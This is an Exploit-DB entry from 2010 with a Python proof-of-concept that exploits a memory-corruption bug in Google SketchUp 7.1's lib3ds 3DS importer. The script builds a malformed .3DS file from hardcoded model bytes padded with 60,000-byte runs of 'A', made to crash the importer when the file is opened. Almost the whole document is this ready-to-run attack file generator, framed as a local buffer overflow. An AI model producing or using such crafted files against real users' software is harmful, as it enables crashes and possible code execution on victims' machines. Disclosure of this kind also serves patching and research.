Google SketchUp 7.1.6087 - 'lib3ds' 3DS Importer Memory Corruption

EDB-ID:

11152

CVE:

N/A


Author:

mr_me

Type:

local


Platform:

Windows

Date:

2010-01-16


#!/usr/bin/python
#
# Google SketchUp <= v7.1.6087 'lib3ds' 3DS Importer Memory Corruption
# Code by: mr_me
# Found by Corelabs
# Advisory: http://www.coresecurity.com/content/google-sketchup-vulnerability
# Download: http://download.cnet.com/Google-SketchUp/3000-6677_4-11097712.html
# Greetz to: Corelan Security Team::corelanc0d3r/ekse/EdiStrosar/Rick2600/MarkoT/
# Tested on: Windows XP sp3
# Notes: Latest version not vulnerable
#
# ** Welcome sinn3r, to the corelan team! **
#
crash = "\x41" * 60000

header =("\x3d\x3d\x6a\x0b\x00\x00\x3e\x3d\x0a\x00\x00\x00\x03\x00\x00\x00"
"\xff\xaf\xc2\x00\x00\x00\x00\xa0\x0e\x00\x00\x00\x4d\x45\x4e\x44"
"\x49\x4e\x49\x00\x10\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00"
"\x9f\xb6\x00\x12\x00\x09\x00\x00\x00\x6e\x8b\x00\x20\xa0\x18\x00"
"\x00\x00\x11\x00\x09\x00\x00\x00\xb0\x9c\x00\x12\x00\x09\x00\x00"
"\x00\x83\x6a\x00\x30\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00"
"\x00\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x40\xa0\x0e\x00"
"\x00\x00\x30\x00\x08\x00\x00\x00\x00\x00\x41\xa0\x0e\x00\x00\x00"
"\x30\x00\x08\x00\x00\x00\x00\x00\x50\xa0\x0e\x00\x00\x00\x30\x00"
"\x08\x00\x00\x00\x00\x00\x52\xa0\x0e\x00\x00\x00\x30\x00\x08\x00"
"\x00\x00\x00\x00\x53\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00\x00"
"\x00\x00\x00\xa1\x08\x00\x00\x00\x03\x00\x84\xa0\x0e\x00\x00\x00"
"\x30\x00\x08\x00\x00\x00\x00\x00\x87\xa0\x0a\x00\x00\x00\x00\x00"
"\x80\x3f\xff\xaf\xee\x00\x00\x00\x00\xa0\x0b\x00\x00\x00\x43\x4f"
"\x4f\x50\x00\x10\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00\x00"
"\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x20\xa0\x18\x00\x00"
"\x00\x11\x00\x09\x00\x00\x00\x00\x00\x00\x12\x00\x09\x00\x00\x00"
"\x00\x00\x00\x30\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00\x00"
"\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x40\xa0\x0e\x00\x00"
"\x00\x30\x00\x08\x00\x00\x00\x00\x00\x41\xa0\x0e\x00\x00\x00\x30")

header += crash

header +=("\x00\x08\x00\x00\x00\x00\x00\x50\xa0\x0e\x00\x00\x00\x30\x00\x08"
"\x00\x00\x00\x00\x00\x52\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00"
"\x00\x00\x00\x53\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00\x00\x00"
"\x00\x00\xa1\x08\x00\x00\x00\x03\x00\x84\xa0\x0e\x00\x00\x00\x30"
"\x00\x08\x00\x00\x00\x00\x00\x87\xa0\x0a\x00\x00\x00\x00\x00\x80"
"\x3f\x00\xa2\x2f\x00\x00\x00\x30\x00\x08\x00\x00\x00\x64\x00\x00"
"\xa3\x0f\x00\x00\x00\x43\x4f\x4f\x50\x2e\x4a\x50\x47\x00\x51\xa3"
"\x08\x00\x00\x00\x00\x00\x53\xa3\x0a\x00\x00\x00\x29\x5c\x8f\x3d"
"\x00\x01\x0a\x00\x00\x00\x00\x00\x80\x3f\x00\x40\xa0\x09\x00\x00"
"\x67\x74\x6f\x77\x65\x72\x00\x00\x41\x93\x09\x00\x00\x10\x41\x9c"
"\x02\x00\x00\x37\x00\x06\x37\x80\xc2\x81\xd9\xa2\x41\x8b\x68\x9d"
"\xc1\x06\x37\x80\xc2\x85\xd9\xa2\x41\x98\x2b\xbf\x41\x06\x37\x80"
"\xc2\x2c\xe0\x26\x42\x8d\x68\x9d\xc1\x06\x37\x80\xc2\x2c\xe0\x26"
"\x42\x95\x2b\xbf\x41\x3b\xd9\x99\xc2\x2c\xe0\x26\x42\x8d\x68\x9d"
"\xc1\x3b\xd9\x99\xc2\x2c\xe0\x26\x42\x95\x2b\xbf\x41\x3b\xd9\x99"
"\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\x3b\xd9\x99\xc2\x85\xd9\xa2"
"\x41\x98\x2b\xbf\x41\xe3\xce\x80\xc2\x19\x89\xa6\x41\x98\x2b\xbf"
"\x41\x15\x4c\x99\xc2\x19\x89\xa6\x41\x98\x2b\xbf\x41\xe3\xce\x80"
"\xc2\x3a\xe7\x24\x42\x95\x2b\xbf\x41\x15\x4c\x99\xc2\x3a\xe7\x24"
"\x42\x95\x2b\xbf\x41\x15\x4c\x99\xc2\x15\x89\xa6\x41\xc8\x9f\x99"
"\xc1\x15\x4c\x99\xc2\x38\xe7\x24\x42\xce\x9f\x99\xc1\xe3\xce\x80"
"\xc2\x38\xe7\x24\x42\xce\x9f\x99\xc1\xe3\xce\x80\xc2\x15\x89\xa6"
"\x41\xc8\x9f\x99\xc1\x18\xda\x80\xc2\x34\xa6\xa6\x41\xb2\x34\xb2"
"\x41\xad\x51\x99\xc2\x34\xa6\xa6\x41\xb2\x34\xb2\x41\x18\xda\x80"
"\xc2\xc4\xdb\x24\x42\xb0\x34\xb2\x41\xad\x51\x99\xc2\xc4\xdb\x24"
"\x42\xb0\x34\xb2\x41\xad\x51\x99\xc2\x34\xa6\xa6\x41\x4f\x30\xad"
"\x41\x18\xda\x80\xc2\x34\xa6\xa6\x41\x4f\x30\xad\x41\x18\xda\x80"
"\xc2\xc4\xdb\x24\x42\x4e\x30\xad\x41\xad\x51\x99\xc2\xc4\xdb\x24"
"\x42\x4e\x30\xad\x41\xd5\xd4\x86\xc2\x81\xd9\xa2\x41\x8b\x68\x9d"
"\xc1\xd5\xd4\x86\xc2\x82\xd9\xa2\x41\x54\xbe\x81\xc0\xd9\x35\x93"
"\xc2\x82\xd9\xa2\x41\x54\xbe\x81\xc0\xd9\x35\x93\xc2\x81\xd9\xa2"
"\x41\x8b\x68\x9d\xc1\xd5\xd4\x86\xc2\x50\x88\xa6\x41\x8b\x68\x9d"
"\xc1\xd9\x35\x93\xc2\x09\x71\xa6\x41\x8b\x68\x9d\xc1\x71\x07\x89"
"\xc2\xe6\x88\xa6\x41\x8b\x68\x9d\xc1\xd5\xd4\x86\xc2\x09\x71\xa6"
"\x41\xc8\x9f\x99\xc1\xd5\xd4\x86\xc2\x15\x89\xa6\x41\xc8\x9f\x99"
"\xc1\xd9\x35\x93\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\x71\x07\x89"
"\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\xd5\xd4\x86\xc2\x16\x89\xa6"
"\x41\x54\xbe\x81\xc0\xd9\x35\x93\xc2\x16\x89\xa6\x41\x54\xbe\x81"
"\xc0\x71\x07\x89\xc2\x82\xd9\xa2\x41\xfe\x9a\xb4\xc0\x71\x07\x89"
"\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\x71\x07\x89\xc2\x15\x89\xa6"
"\x41\xc8\x9f\x99\xc1\x71\x07\x89\xc2\x16\x89\xa6\x41\xfe\x9a\xb4"
"\xc0\xa5\x0b\x89\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\xa5\x0b\x89"
"\xc2\x82\xd9\xa2\x41\xcc\xbc\x81\xc0\x2a\xbc\x90\xc2\x82\xd9\xa2"
"\x41\xcc\xbc\x81\xc0\x2a\xbc\x90\xc2\x82\xd9\xa2\x41\x54\xbe\x81"
"\xc0\xa5\x0b\x89\xc2\xef\xa5\xa6\x41\x8b\x68\x9d\xc1\x2a\xbc\x90"
"\xc2\xba\xa5\xa6\x41\x8b\x68\x9d\xc1\x2a\xbc\x90\xc2\x09\x71\xa6")

header += crash

header +=("\x41\x8b\x68\x9d\xc1\x2a\xbc\x90\xc2\xba\xa5\xa6\x41\xc8\x9f\x99"
"\xc1\x2a\xbc\x90\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\xa5\x0b\x89"
"\xc2\xf0\xa5\xa6\x41\xc8\x9f\x99\xc1\xa5\x0b\x89\xc2\x15\x89\xa6"
"\x41\xc8\x9f\x99\xc1\xa5\x0b\x89\xc2\x16\x89\xa6\x41\xcc\xbc\x81"
"\xc0\x2a\xbc\x90\xc2\x16\x89\xa6\x41\xcc\xbc\x81\xc0\x2a\xbc\x90"
"\xc2\x16\x89\xa6\x41\x54\xbe\x81\xc0\x11\x41\x76\x00\x00\x00\x37"
"\x00\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00"
"\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00"
"\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x60"
"\x41\x36\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\xea\x11\xbe\x08\x34\x28"
"\x40\x00\x00\x00\x00\x65\x41\x07\x00\x00\x00\x00\x20\x41\x3e\x06"
"\x00\x00\x70\x00\x01\x00\x00\x00\x02\x00\x06\x85\x01\x00\x02\x00"
"\x03\x00\x03\x85\x03\x00\x02\x00\x04\x00\x06\x85\x03\x00\x04\x00"
"\x05\x00\x03\x85\x05\x00\x04\x00\x06\x00\x06\x85\x05\x00\x06\x00"
"\x07\x00\x03\x85\x06\x00\x04\x00\x02\x00\x06\x85\x07\x00\x01\x00"
"\x08\x00\x04\x85\x09\x00\x07\x00\x08\x00\x01\x85\x01\x00\x03\x00"
"\x08\x00\x04\x85\x08\x00\x03\x00\x0a\x00\x01\x85\x05\x00\x07\x00"
"\x09\x00\x04\x85\x03\x00\x05\x00\x0a\x00\x04\x85\x05\x00\x0b\x00")

footer = ("\x0a\x00\x02\x85\x0b\x00\x05\x00\x09\x00\x01\x85\x0d\x00\x0c\x00"
"\x0e\x00\x05\x85\x0f\x00\x08\x00\x0e\x00\x05\x85\x0a\x00\x0e\x00"
"\x08\x00\x05\x85\x0e\x00\x0a\x00\x0d\x00\x05\x85\x0d\x00\x0a\x00"
"\x0b\x00\x03\x85\x0d\x00\x0b\x00\x0c\x00\x05\x85\x0b\x00\x09\x00"
"\x0c\x00\x06\x85\x11\x00\x10\x00\x12\x00\x06\x85\x11\x00\x12\x00"
"\x13\x00\x03\x85\x11\x00\x14\x00\x15\x00\x06\x85\x11\x00\x15\x00"
"\x10\x00\x03\x85\x10\x00\x15\x00\x16\x00\x06\x85\x10\x00\x16\x00"
"\x12\x00\x03\x85\x12\x00\x16\x00\x17\x00\x06\x85\x12\x00\x17\x00"
"\x13\x00\x03\x85\x13\x00\x17\x00\x14\x00\x06\x85\x13\x00\x14\x00"
"\x11\x00\x03\x85\x14\x00\x17\x00\x16\x00\x06\x85\x14\x00\x16\x00"
"\x15\x00\x03\x85\x18\x00\x00\x00\x19\x00\x05\x85\x00\x00\x18\x00"
"\x02\x00\x05\x85\x19\x00\x00\x00\x01\x00\x02\x85\x07\x00\x1a\x00"
"\x01\x00\x01\x85\x07\x00\x06\x00\x1a\x00\x04\x85\x1a\x00\x06\x00"
"\x1b\x00\x03\x85\x02\x00\x18\x00\x1c\x00\x02\x85\x06\x00\x02\x00"
"\x1d\x00\x00\x85\x1d\x00\x1b\x00\x06\x00\x06\x85\x1e\x00\x02\x00"
"\x1c\x00\x01\x85\x0f\x00\x0e\x00\x1f\x00\x04\x85\x20\x00\x0f\x00"
"\x1f\x00\x05\x85\x0e\x00\x0c\x00\x21\x00\x02\x85\x21\x00\x0c\x00"
"\x09\x00\x06\x85\x22\x00\x1f\x00\x0e\x00\x04\x85\x23\x00\x0f\x00"
"\x20\x00\x03\x85\x0f\x00\x23\x00\x08\x00\x01\x85\x23\x00\x09\x00"
"\x08\x00\x02\x85\x24\x00\x21\x00\x09\x00\x04\x85\x1a\x00\x1b\x00")

footer += crash

footer +=("\x1d\x00\x06\x85\x1e\x00\x25\x00\x26\x00\x03\x85\x1c\x00\x18\x00"
"\x20\x00\x04\x85\x1f\x00\x1c\x00\x20\x00\x05\x85\x1c\x00\x1f\x00"
"\x1e\x00\x05\x85\x1a\x00\x1d\x00\x21\x00\x02\x85\x1e\x00\x1f\x00"
"\x22\x00\x03\x85\x25\x00\x1e\x00\x27\x00\x00\x85\x22\x00\x27\x00"
"\x1e\x00\x05\x85\x18\x00\x19\x00\x23\x00\x06\x85\x20\x00\x18\x00"
"\x23\x00\x01\x85\x24\x00\x1a\x00\x21\x00\x05\x85\x28\x00\x25\x00"
"\x27\x00\x05\x85\x29\x00\x26\x00\x25\x00\x06\x85\x26\x00\x29\x00"
"\x1e\x00\x05\x85\x29\x00\x25\x00\x2d\x00\x03\x85\x2d\x00\x25\x00"
"\x28\x00\x06\x85\x19\x00\x01\x00\x2a\x00\x01\x85\x01\x00\x2b\x00"
"\x2a\x00\x02\x85\x01\x00\x1a\x00\x2b\x00\x00\x85\x19\x00\x2a\x00"
"\x23\x00\x05\x85\x1a\x00\x2c\x00\x2b\x00\x06\x85\x02\x00\x1e\x00"
"\x2d\x00\x00\x85\x1d\x00\x02\x00\x2e\x00\x00\x85\x2e\x00\x02\x00"
"\x2d\x00\x01\x85\x2f\x00\x1d\x00\x2e\x00\x05\x85\x29\x00\x2d\x00"
"\x1e\x00\x04\x85\x32\x00\x0e\x00\x30\x00\x01\x85\x0e\x00\x21\x00"
"\x30\x00\x00\x85\x21\x00\x31\x00\x30\x00\x06\x85\x31\x00\x21\x00"
"\x1d\x00\x06\x85\x22\x00\x0e\x00\x32\x00\x00\x85\x2d\x00\x22\x00"
"\x32\x00\x01\x85\x22\x00\x2d\x00\x27\x00\x01\x85\x33\x00\x27\x00"
"\x2d\x00\x05\x85\x27\x00\x33\x00\x28\x00\x05\x85\x09\x00\x23\x00"
"\x34\x00\x02\x85\x09\x00\x34\x00\x35\x00\x02\x85\x24\x00\x09\x00"
"\x35\x00\x00\x85\x24\x00\x36\x00\x1a\x00\x05\x85\x24\x00\x35\x00"
"\x36\x00\x03\x85\x28\x00\x33\x00\x2d\x00\x02\x85\x28\x00\x2d\x00"
"\x34\x00\x03\x85\x31\x00\x1d\x00\x2f\x00\x03\x85\x23\x00\x2a\x00"
"\x2d\x00\x02\x85\x2c\x00\x1a\x00\x36\x00\x05\x85\x2d\x00\x34\x00"
"\x23\x00\x06\x85\x28\x00\x34\x00\x2d\x00\x06\x85\x34\x00\x2d\x00"
"\x28\x00\x04\x85\x2d\x00\x34\x00\x28\x00\x04\x85\x2e\x00\x2d\x00"
"\x32\x00\x06\x85\x30\x00\x2e\x00\x32\x00\x05\x85\x2e\x00\x30\x00"
"\x2f\x00\x05\x85\x2f\x00\x30\x00\x31\x00\x03\x85\x34\x00\x2a\x00"
"\x2b\x00\x06\x85\x2b\x00\x35\x00\x34\x00\x06\x85\x35\x00\x2b\x00"
"\x2c\x00\x06\x85\x2c\x00\x36\x00\x35\x00\x06\x85\x2d\x00\x2a\x00"
"\x34\x00\x07\x85\x30\x41\xf0\x00\x00\x00\x4d\x45\x4e\x44\x49\x4e"
"\x49\x00\x70\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00"
"\x06\x00\x07\x00\x08\x00\x09\x00\x0a\x00\x0b\x00\x0c\x00\x0d\x00"
"\x0e\x00\x0f\x00\x10\x00\x11\x00\x12\x00\x13\x00\x14\x00\x15\x00"
"\x16\x00\x17\x00\x18\x00\x19\x00\x1a\x00\x1b\x00\x1c\x00\x1d\x00"
"\x1e\x00\x1f\x00\x20\x00\x21\x00\x22\x00\x23\x00\x24\x00\x25\x00"
"\x26\x00\x27\x00\x28\x00\x29\x00\x2a\x00\x2b\x00\x2c\x00\x2d\x00"
"\x2e\x00\x2f\x00\x30\x00\x31\x00\x32\x00\x33\x00\x34\x00\x35\x00"
"\x36\x00\x37\x00\x38\x00\x39\x00\x3a\x00\x3b\x00\x3c\x00\x3d\x00"
"\x3e\x00\x3f\x00\x40\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00"
"\x46\x00\x47\x00\x48\x00\x49\x00\x4a\x00\x4b\x00\x4c\x00\x4d\x00"
"\x4e\x00\x4f\x00\x50\x00\x51\x00\x52\x00\x53\x00\x54\x00\x55\x00"
"\x56\x00\x57\x00\x58\x00\x59\x00\x5a\x00\x5b\x00\x5c\x00\x5d\x00"
"\x5e\x00\x5f\x00\x60\x00\x61\x00\x62\x00\x63\x00\x64\x00\x65\x00"
"\x66\x00\x67\x00\x68\x00\x69\x00\x6a\x00\x6b\x00\x6c\x00\x6d\x00"
"\x6e\x00\x6f\x00\x50\x41\xc6\x01\x00\x00\x04\x00\x00\x00\x04\x00"
"\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x10\x00"
"\x00\x00\x20\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x00\x04\x00\x00\x80\x00\x00\x00\x80\x00"
"\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02"
"\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x08\x00"
"\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x20\x00\x00\x00\x20\x00"
"\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x00\x00\x00\x04\x00\x00\x00\x04"
"\x00\x00\x00\x04\x00\x00\x40\x00\x00\x00\x00\x04\x00\x00\x40\x00"
"\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x20"
"\x00\x00\x00\x80\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x40"
"\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x80\x00\x00\x00\x80"
"\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x20\x00\x00\x00\x80"
"\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x00\x00"
"\x01\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x10"
"\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x20\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x00\x00\x00\x04\x00\x00\x00\x04"
"\x00\x00\x00\x04\x00\x00\x00\x40\x00\x00\x00\x04\x00\x00\x00\x04"
"\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x40\x00\x00\x00\x40\x00"
"\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x10\x00\x00\x40\x00"
"\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x40\x00\x00\x00\x10"
"\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"
"\x10\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
"\x10\x00\x00\x00\x10\x00\x00\x00\x04\x00")

footer += crash
print "[+] Google Sketchup Local BOF"
buff = header + footer; buff.strip()

try:
        print "[+] Writing sketchupPOC.3DS.. ph33r"
        google = open('sketupPOC.3DS','w');
        google.write(buff);
        google.close();
except:
        print "[-] Error: cannot write file to filesystem"